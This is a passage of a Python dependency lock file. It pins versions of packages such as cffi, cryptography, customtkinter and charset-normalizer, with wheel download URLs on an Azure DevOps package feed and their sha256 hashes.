"https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36" }, 89 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5" }, 90 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff" }, 91 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99" }, 92 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93" }, 93 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3" }, 94 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4ceb10419a9adf4460ea14cfd6bc43d08701f0835e979bf821052f1805850fe8" }, 95 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-win32.whl", hash = "sha256:a08d7e755f8ed21095a310a693525137cfe756ce62d066e53f502a83dc550f65" }, 96 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-win_amd64.whl", hash = "sha256:51392eae71afec0d0c8fb1a53b204dbb3bcabcb3c9b807eedf3e1e6ccf2de903" }, 97 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f3a2b4222ce6b60e2e8b337bb9596923045681d71e5a082783484d845390938e" }, 98 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0984a4925a435b1da406122d4d7968dd861c1385afe3b45ba82b750f229811e2" }, 99 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d01b12eeeb4427d3110de311e1774046ad344f5b1a7403101878976ecd7a10f3" }, 100 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683" }, 101 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5" }, 102 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4" }, 103 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd" }, 104 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed" }, 105 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9" }, 106 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d" }, 107 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a" }, 108 | ] 109 | 110 | [[package]] 111 | name = "charset-normalizer" 112 | version = "3.4.1" 113 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 114 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3" } 115 | wheels = [ 116 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545" }, 117 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7" }, 118 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757" }, 119 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa" }, 120 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d" }, 121 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616" }, 122 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b" }, 123 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d" }, 124 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a" }, 125 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9" }, 126 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1" }, 127 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35" }, 128 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f" }, 129 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda" }, 130 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313" }, 131 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9" }, 132 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b" }, 133 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11" }, 134 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f" }, 135 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd" }, 136 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2" }, 137 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886" }, 138 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601" }, 139 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd" }, 140 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407" }, 141 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971" }, 142 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/charset-normalizer/3.4.1/charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85" }, 143 | ] 144 | 145 | [[package]] 146 | name = "colorama" 147 | version = "0.4.6" 148 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 149 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/colorama/0.4.6/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44" } 150 | wheels = [ 151 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/colorama/0.4.6/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6" }, 152 | ] 153 | 154 | [[package]] 155 | name = "cryptography" 156 | version = "44.0.2" 157 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 158 | dependencies = [ 159 | { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, 160 | ] 161 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2.tar.gz", hash = "sha256:c63454aa261a0cf0c5b4718349629793e9e634993538db841165b3df74f37ec0" } 162 | wheels = [ 163 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:efcfe97d1b3c79e486554efddeb8f6f53a4cdd4cf6086642784fa31fc384e1d7" }, 164 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29ecec49f3ba3f3849362854b7253a9f59799e3763b0c9d0826259a88efa02f1" }, 165 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc821e161ae88bfe8088d11bb39caf2916562e0a2dc7b6d56714a48b784ef0bb" }, 166 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:3c00b6b757b32ce0f62c574b78b939afab9eecaf597c4d624caca4f9e71e7843" }, 167 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7bdcd82189759aba3816d1f729ce42ffded1ac304c151d0a8e89b9996ab863d5" }, 168 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:4973da6ca3db4405c54cd0b26d328be54c7747e89e284fcff166132eb7bccc9c" }, 169 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:4e389622b6927d8133f314949a9812972711a111d577a5d1f4bee5e58736b80a" }, 170 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:f514ef4cd14bb6fb484b4a60203e912cfcb64f2ab139e88c2274511514bf7308" }, 171 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1bc312dfb7a6e5d66082c87c34c8a62176e684b6fe3d90fcfe1568de675e6688" }, 172 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3b721b8b4d948b218c88cb8c45a01793483821e709afe5f622861fc6182b20a7" }, 173 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-win32.whl", hash = "sha256:51e4de3af4ec3899d6d178a8c005226491c27c4ba84101bfb59c901e10ca9f79" }, 174 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp37-abi3-win_amd64.whl", hash = "sha256:c505d61b6176aaf982c5717ce04e87da5abc9a36a5b39ac03905c4aafe8de7aa" }, 175 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:8e0ddd63e6bf1161800592c71ac794d3fb8001f2caebe0966e77c5234fa9efc3" }, 176 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:81276f0ea79a208d961c433a947029e1a15948966658cf6710bbabb60fcc2639" }, 177 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a1e657c0f4ea2a23304ee3f964db058c9e9e635cc7019c4aa21c330755ef6fd" }, 178 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:6210c05941994290f3f7f175a4a57dbbb2afd9273657614c506d5976db061181" }, 179 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d1c3572526997b36f245a96a2b1713bf79ce99b271bbcf084beb6b9b075f29ea" }, 180 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:b042d2a275c8cee83a4b7ae30c45a15e6a4baa65a179a0ec2d78ebb90e4f6699" }, 181 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:d03806036b4f89e3b13b6218fefea8d5312e450935b1a2d55f0524e2ed7c59d9" }, 182 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c7362add18b416b69d58c910caa217f980c5ef39b23a38a0880dfd87bdf8cd23" }, 183 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:8cadc6e3b5a1f144a039ea08a0bdb03a2a92e19c46be3285123d32029f40a922" }, 184 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6f101b1f780f7fc613d040ca4bdf835c6ef3b00e9bd7125a4255ec574c7916e4" }, 185 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-win32.whl", hash = "sha256:3dc62975e31617badc19a906481deacdeb80b4bb454394b4098e3f2525a488c5" }, 186 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cryptography/44.0.2/cryptography-44.0.2-cp39-abi3-win_amd64.whl", hash = "sha256:5f6f90b72d8ccadb9c6e311c775c8305381db88374c65fa1a68250aa8a9cb3a6" }, 187 | ] 188 | 189 | [[package]] 190 | name = "cssselect2" 191 | version = "0.8.0" 192 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 193 | dependencies = [ 194 | { name = "tinycss2" }, 195 | { name = "webencodings" }, 196 | ] 197 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cssselect2/0.8/cssselect2-0.8.0.tar.gz", hash = "sha256:7674ffb954a3b46162392aee2a3a0aedb2e14ecf99fcc28644900f4e6e3e9d3a" } 198 | wheels = [ 199 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cssselect2/0.8/cssselect2-0.8.0-py3-none-any.whl", hash = "sha256:46fc70ebc41ced7a32cd42d58b1884d72ade23d21e5a4eaaf022401c13f0e76e" }, 200 | ] 201 | 202 | [[package]] 203 | name = "customtkinter" 204 | version = "5.2.2" 205 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 206 | dependencies = [ 207 | { name = "darkdetect" }, 208 | { name = "packaging" }, 209 | ] 210 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/customtkinter/5.2.2/customtkinter-5.2.2.tar.gz", hash = "sha256:fd8db3bafa961c982ee6030dba80b4c2e25858630756b513986db19113d8d207" } 211 | wheels = [ 212 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/customtkinter/5.2.2/customtkinter-5.2.2-py3-none-any.whl", hash = "sha256:14ad3e7cd3cb3b9eb642b9d4e8711ae80d3f79fb82545ad11258eeffb2e6b37c" }, 213 | ] 214 | 215 | [[package]] 216 | name = "darkdetect" 217 | version = "0.8.0" 218 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 219 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/darkdetect/0.8/darkdetect-0.8.0.tar.gz", hash = "sha256:b5428e1170263eb5dea44c25dc3895edd75e6f52300986353cd63533fe7df8b1" } 220 | wheels = [ 221 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/darkdetect/0.8/darkdetect-0.8.0-py3-none-any.whl", hash = "sha256:a7509ccf517eaad92b31c214f593dbcf138ea8a43b2935406bbd565e15527a85" }, 222 | ] 223 | 224 | [[package]] 225 | name = "decorator" 226 | version = "5.2.1" 227 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 228 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/decorator/5.2.1/decorator-5.2.1.tar.gz", hash = "sha256:65f266143752f734b0a7cc83c46f4618af75b8c5911b00ccb61d0ac9b6da0360" } 229 | wheels = [ 230 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/decorator/5.2.1/decorator-5.2.1-py3-none-any.whl", hash = "sha256:d316bb415a2d9e2d2b3abcc4084c6502fc09240e292cd76a76afc106a1c8e04a" }, 231 | ] 232 | 233 | [[package]] 234 | name = "deprecated" 235 | version = "1.2.18" 236 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 237 | dependencies = [ 238 | { name = "wrapt" }, 239 | ] 240 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/deprecated/1.2.18/deprecated-1.2.18.tar.gz", hash = "sha256:422b6f6d859da6f2ef57857761bfb392480502a64c3028ca9bbe86085d72115d" } 241 | wheels = [ 242 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/deprecated/1.2.18/Deprecated-1.2.18-py2.py3-none-any.whl", hash = "sha256:bd5011788200372a32418f888e326a09ff80d0214bd961147cfed01b5c018eec" }, 243 | ] 244 | 245 | [[package]] 246 | name = "executing" 247 | version = "2.2.0" 